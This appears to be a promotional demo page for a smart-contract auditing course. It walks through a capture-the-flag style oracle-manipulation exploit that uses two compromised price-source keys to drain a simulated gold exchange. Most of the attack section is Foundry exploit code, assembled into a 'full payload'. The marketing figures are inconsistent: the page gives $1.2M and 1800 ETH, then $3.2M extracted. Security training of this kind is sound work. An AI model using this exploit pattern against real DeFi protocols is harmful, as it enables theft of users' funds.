$1.2M Protocol Exploit
Can you drain an exchange with just 1 ETH? This exact vulnerability pattern was exploited in real DeFi protocols including Inverse Finance.
๐งช TASTE THE COURSE
- ๐ One of 40+ exploit labs from the full training program
- ๐ Stuck? No problem - Full solutions & video walkthroughs included
- ๐น See it done - Watch a professional auditor execute each hack
- โ๏ธ Real attack patterns - The same techniques used in $4B+ of DeFi hacks
Oracle Manipulation:
Hack the Gold Exchange
Intelligence Briefing
SynthGold - a $1.8M synthetic assets exchange - trusts 3 "secure" oracle sources to set gold prices. We have reason to believe 2 of these sources have been compromised. Your mission: prove the protocol is vulnerable before a real attacker does.
Turn 1 ETH into 1,801 ETH - a 180,000% return. This isn't a simulation. This is how $1.2M vanished from Inverse Finance in 2022.
Oracle Contract
function getPrice() external view returns (uint256) { return _computePrice(); } function _computePrice() private view returns (uint256) { uint256[] memory prices = _sort(getAllSourcesPrices()); // Returns median price from 3 sources if (prices.length % 2 == 0) { uint256 leftPrice = prices[(prices.length / 2) - 1]; uint256 rightPrice = prices[prices.length / 2]; return (leftPrice + rightPrice) / 2; } else { return prices[prices.length / 2]; } }
A median of 3 numbers only needs 2 votes. Control 2 sources = control the price = control the money.
Exchange Contract
function buyTokens(uint amount) external payable { // Get gold price from oracle - NO SANITY CHECK! uint goldPrice = oracle.getPrice(); uint totalPrice = goldPrice * amount; require(msg.value >= totalPrice, "Amount paid is not enough"); // Mint tokens to buyer token.mint(msg.sender, amount); } function sellTokens(uint amount) external { // Get gold price from oracle - TRUSTS BLINDLY! uint goldPrice = oracle.getPrice(); uint totalPrice = goldPrice * amount; // Burn tokens and pay seller token.burn(msg.sender, amount); payable(msg.sender).call{value: totalPrice}(""); }
๐ก RECONNAISSANCE COMPLETE
You've identified the attack surface. The exchange trusts the oracle blindly. Next: obtain the weapons to exploit it.
๐ก This is 1 of 40+ hands-on exercises in the full course
Intercepted Transmission
Our sources extracted leaked_credentials.zip from a developer's laptop. The archive is encrypted - but we've profiled this dev. They're lazy with passwords.
> Intelligence suggests the password is project-related. Think: what would a lazy dev working on a gold trading protocol use?
Archive cracked! You now control 2 of 3 oracle price sources. The third source becomes irrelevant.
// Oracle Source 1 Private Key - YOU NOW CONTROL THIS 0x221b93d924f48fcf998c7f20b4be36d12eb1d637a8f49e6e76c154f105e882af // Oracle Source 2 Private Key - YOU NOW CONTROL THIS 0x390e61fd668d2cf6db3305df8dc5366ed53d58610cee715c57dfd9f780579344 // With 2/3 keys, you control the MEDIAN price!
OPERATION GOLDFALL
> TACTICAL BRIEFING: Click each phase to confirm understanding and unlock the exploit.
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[ CURRENT STATE ]Attacker: 1 ETH | Target Vault: 1800 ETH
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PHASE 1: Crash oracle โ 1 wei per tokenUse compromised keys to tank the price | Oracle: 1.5 ETH โ 1 wei
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PHASE 2: Buy 1e18 tokens at crashed priceCost: 1 wei ร 1e18 = 1 ETH | Tokens acquired for pennies
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PHASE 3: Pump oracle โ 1800 ETH per tokenMax manipulation to match vault balance | New price: 1800 ETH / 1e18
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PHASE 4: Liquidate position โ Drain vaultExecute the dump | Extraction: ~1800 ETH ๐ฐ
With 2/3 oracle sources compromised, you control the median price. Buy at 1 wei, sell at 1800 ETH - that's a 1800x multiplier on your ETH.
> WEAPON LOADED
Attack vector confirmed: No access control on oracle updates + centralized trust in 3 sources. Time to deploy the exploit.
PAYLOAD DEPLOYMENT
This demo reveals the complete exploit step-by-step. In the full course, you write these payloads yourself and hack 40+ vulnerable protocols. Confirm each step to proceed.
INJECT: Compromised Keys
> Initialize wallet instances from extracted private keys to impersonate oracle sources.
// Inject compromised oracle keys Vm.Wallet memory w1 = vm.createWallet( 0x221b93d924f48fcf998c7f20b4be36d12eb1d637a8f49e6e76c154f105e882af ); Vm.Wallet memory w2 = vm.createWallet( 0x390e61fd668d2cf6db3305df8dc5366ed53d58610cee715c57dfd9f780579344 );
MANIPULATE: Crash Price Feed
> Post 1 wei from both compromised sources. Median now equals 1 wei.
// Source 1: Post minimum price vm.prank(w1.addr); oracle.postPrice(1); // 1 wei // Source 2: Confirm crash vm.prank(w2.addr); oracle.postPrice(1); // 1 wei // โ Median price = 1 wei
ACQUIRE: Mass Token Purchase
> Convert 1 ETH to ~1e18 tokens at the manipulated rate.
// Switch to attacker identity vm.startPrank(attacker); // Purchase at crashed price uint256 tokens = attacker.balance; exchange.buyTokens{value: tokens}(tokens); // โ Acquired ~1e18 tokens for 1 ETH
MANIPULATE: Pump Price Feed
> Calculate optimal drain price, then update oracle to maximize extraction.
// Calculate maximum extraction price uint256 newPrice = address(exchange).balance / tokens; // Pump oracle to drain price vm.startPrank(w1.addr); oracle.postPrice(newPrice); vm.startPrank(w2.addr); oracle.postPrice(newPrice);
EXECUTE: Drain Protocol
> Liquidate position at inflated price. Extract all ETH from target vault.
// Resume attacker identity vm.startPrank(attacker); // Execute the dump exchange.sellTokens(tokens); // โ EXTRACTION COMPLETE: ~1800 ETH
FULL PAYLOAD
> Combined exploit modules for review. Click to reveal assembled payload.
// MODULE 1: Inject compromised keys Vm.Wallet memory w1 = vm.createWallet(0x221b93d924f48fcf998c7f20b4be36d12eb1d637a8f49e6e76c154f105e882af); Vm.Wallet memory w2 = vm.createWallet(0x390e61fd668d2cf6db3305df8dc5366ed53d58610cee715c57dfd9f780579344); // MODULE 2: Crash oracle to 1 wei vm.prank(w1.addr); oracle.postPrice(1); vm.prank(w2.addr); oracle.postPrice(1); // MODULE 3: Acquire tokens at crashed price vm.startPrank(attacker); uint256 tokens = attacker.balance; exchange.buyTokens{value: tokens}(tokens); // MODULE 4: Pump oracle to drain price uint256 newPrice = address(exchange).balance / tokens; vm.startPrank(w1.addr); oracle.postPrice(newPrice); vm.startPrank(w2.addr); oracle.postPrice(newPrice); // MODULE 5: Execute drain - EXTRACTION COMPLETE ๐ vm.startPrank(attacker); exchange.sellTokens(tokens);
๐ PAYLOAD DEPLOYED SUCCESSFULLY
Oracle manipulation mastered. In the full course, you'll write these exploits from scratch.
> SIMULATION READY
Execute the assembled payload against the target protocol simulation.
๐ EXTRACTION COMPLETE
Target protocol compromised. $3.2M in ETH transferred to your wallet.
> READY FOR THE FULL ARSENAL?
Reentrancy โข Flash Loans โข Access Control โข Signature Exploits โข 36 more...
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